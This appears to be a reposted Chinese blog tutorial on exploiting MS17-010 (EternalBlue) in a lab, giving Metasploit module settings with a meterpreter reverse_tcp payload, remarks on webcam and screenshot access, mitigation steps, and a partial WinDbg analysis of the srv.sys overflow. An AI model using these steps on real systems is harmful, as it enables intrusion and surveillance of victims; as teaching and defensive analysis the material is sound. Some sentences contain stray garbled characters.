ms17010漏洞的简单利用

ms17010漏洞的简单利用,第1张

(第一次在发表文章,没啥经验,分享一些学习经验。大佬们多多包涵,也希望大家能够指出我的错误。)

靶机:windows7 x64  IP:192.168.1.5

攻击机:Kali Rolling (2019.3) x64 IP:192.168.1.3

两台主机在同一网段内;win7关闭防火墙并且开启445端口

1、使用ipconfig/ifconfig分别查看win7和kali的ip。

2、打开msf工具

每次开启都会有不同的界面

3、使用search命令搜索ms17_010

4、选择模块和设置条件

使用use来选择第三个模块,可以直接 use 2,也可以打全

然后用set来设置靶机IP set rhost 192.168.1.5

设置本机IP set lhost 192.168.1.3

设置监听端口 set lport 8888 不设置则默认4444端口

设置payload set payload windows/x64/meterpreter/reverse_tcp

还有另外一个payload能用于本实验,具体可以 show payloads 查看

最后,可以使用show options检查所有信唤滚姿息

5、开始渗透 run

稍等片刻 看到win则成功创建会话

6、成功之后,可以开启Windows7的摄像头,截图等等

具体可以用help查看

1、关闭445端口

2、打开防火墙,安装安全软件

3、安装对应备姿补丁,这里就不放链接了

关闭445端口的方法:

1)打开控制面板----Windows防火墙----高级设置

2)点击新建规则,设置端口号的规则并且命名(如图)

msf工具虽然强大,但只能用于已知的并且和绝已提交模块的漏洞。要理解漏洞原理,理解如何使用漏洞,甚至自己挖洞才能做到真正的去攻击。而不是简单的使用工具use和set。

win7 sp1 32bits srv.sys 6.1.7601.17514

srvnet.sys 6.1.7601.17514

PS:这两个文件在 C:\Windows\System32\drivers 下

windbg双机调试

该漏洞主要是利用smb1在处理一个结构体转换过程中,错误计算了大小,导致的溢出。Nasa的工具集的EternalBlue利用这个溢出,对后面相连的一个内存池做了覆盖,并利用堆喷射的技巧,精准覆盖了0xffdff000的可执行内存,这个内存本来是系统预留坦返用于存储一些配置信息的(Win7x86中是这个地址,Win7x64中是0xffffffffffd00010),最终在srvnet!SrvNetWskReceiveComplete这个函数中触发了shellcode。

溢出漏洞的函数链

srv!SrvSmbOpen2 ->srv!SrvOs2FeaListToNt ->srv!SrvOs2FeaListSizeToNt ->srv!SrvOs2FeaToNt

3.下以下几个断点

bu srv!SrvOs2FeaListSizeToNt内存长度计算出错的函数

bu srv!SrvOs2FeaToNt内存实际溢出的函数

bu srv!SrvOs2FeaListToNt 上层函数

bu srv!SrvSmbOpen2 接收数据的地方

10. SrvOs2FeaListSizeToNt 的函数分析如下图

关键点在于 mov word ptr [eax], si 这个汇渗薯编语句,仅赋值了低位数据 :

11.下个断点,看一让喊饥下poc的结构体分布。

本来后面想研究一下它怎么实现的堆布局,以及覆盖这部分内存是什么结构体,以及shellcode写入的包是在哪个部分的,发现自个有点搞不动了,看几天书回忆回忆再来弄。

之前分析wanacry的时候感觉挺简单的,内核分析感觉像是在盲人摸象,每一次观察都能有新的东西,但是又始终无法有一个完整清晰的轮廓。

一份好心人的windows源码

https://github.com/Hengle/windows_nt_3_5_source_code

一份可以让你在三环弄明白大致原理的分析文章

https://paper.seebug.org/280/

一份隐藏了利用细节,但是展现详细调试细节的文章

https://www.anquanke.com/post/id/86270


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/tougao/12397759.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-25
下一篇 2023-05-25

发表评论

登录后才能评论

评论列表(0条)

保存